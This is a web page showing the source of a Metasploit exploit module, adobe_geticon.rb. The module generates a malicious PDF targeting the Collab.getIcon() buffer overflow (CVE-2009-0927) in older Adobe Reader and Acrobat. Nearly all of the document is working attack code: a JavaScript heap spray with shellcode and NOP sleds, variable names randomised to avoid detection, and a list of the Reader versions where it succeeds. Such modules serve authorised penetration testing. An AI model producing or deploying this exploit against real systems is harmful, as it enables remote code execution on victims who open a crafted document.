Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/adobe_geticon.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::FILEFORMAT11include Msf::Exploit::PDF1213def initialize(info = {})14super(update_info(info,15'Name' => 'Adobe Collab.getIcon() Buffer Overflow',16'Description' => %q{17This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat.18Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially19crafted pdf that a contains malformed Collab.getIcon() call, an attacker may20be able to execute arbitrary code.21},22'License' => MSF_LICENSE,23'Author' =>24[25'MC',26'Didier Stevens <didier.stevens[at]gmail.com>',27'jduck'28],29'References' =>30[31[ 'CVE', '2009-0927' ],32[ 'OSVDB', '53647' ],33[ 'ZDI', '09-014' ],34],35'DefaultOptions' =>36{37'EXITFUNC' => 'process',38'DisablePayloadHandler' => true39},40'Payload' =>41{42'Space' => 1024,43'BadChars' => "\x00",44},45'Platform' => 'win',46'Targets' =>47[48# test results (on Windows XP SP3)49# reader 7.0.5 - no trigger50# reader 7.0.8 - no trigger51# reader 7.0.9 - no trigger52# reader 7.1.0 - no trigger53# reader 7.1.1 - reported not vulnerable54# reader 8.0.0 - works55# reader 8.1.2 - works56# reader 8.1.3 - reported not vulnerable57# reader 9.0.0 - works58# reader 9.1.0 - reported not vulnerable59[ 'Adobe Reader Universal (JS Heap Spray)', { 'Ret' => '' } ],60],61'DisclosureDate' => '2009-03-24',62'DefaultTarget' => 0))6364register_options(65[66OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),67])68end6970def exploit71# Encode the shellcode.72shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))7374# Make some nops75nops = Rex::Text.to_unescape(make_nops(4))7677# Randomize variables78rand1 = rand_text_alpha(rand(100) + 1)79rand2 = rand_text_alpha(rand(100) + 1)80rand3 = rand_text_alpha(rand(100) + 1)81rand4 = rand_text_alpha(rand(100) + 1)82rand5 = rand_text_alpha(rand(100) + 1)83rand6 = rand_text_alpha(rand(100) + 1)84rand7 = rand_text_alpha(rand(100) + 1)85rand8 = rand_text_alpha(rand(100) + 1)86rand9 = rand_text_alpha(rand(100) + 1)87rand10 = rand_text_alpha(rand(100) + 1)88rand11 = rand_text_alpha(rand(100) + 1)89rand12 = rand_text_alpha(rand(100) + 1)9091script = %Q|92var #{rand1} = unescape("#{shellcode}");93var #{rand2} ="";94for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");95#{rand4} = #{rand2} + #{rand1};96#{rand5} = unescape("#{nops}");97#{rand6} = 20;98#{rand7} = #{rand6}+#{rand4}.length99while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};100#{rand8} = #{rand5}.substring(0, #{rand7});101#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});102while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};103#{rand10} = new Array();104for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};105var #{rand12} = unescape("%0a");106while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};107#{rand12} = "N."+#{rand12};108Collab.getIcon(#{rand12});109|110111# Create the pdf112#pdf = make_pdf(script)113pdf = create_pdf(script)114print_status("Creating '#{datastore['FILENAME']}' file...")115116file_create(pdf)117end118end119120121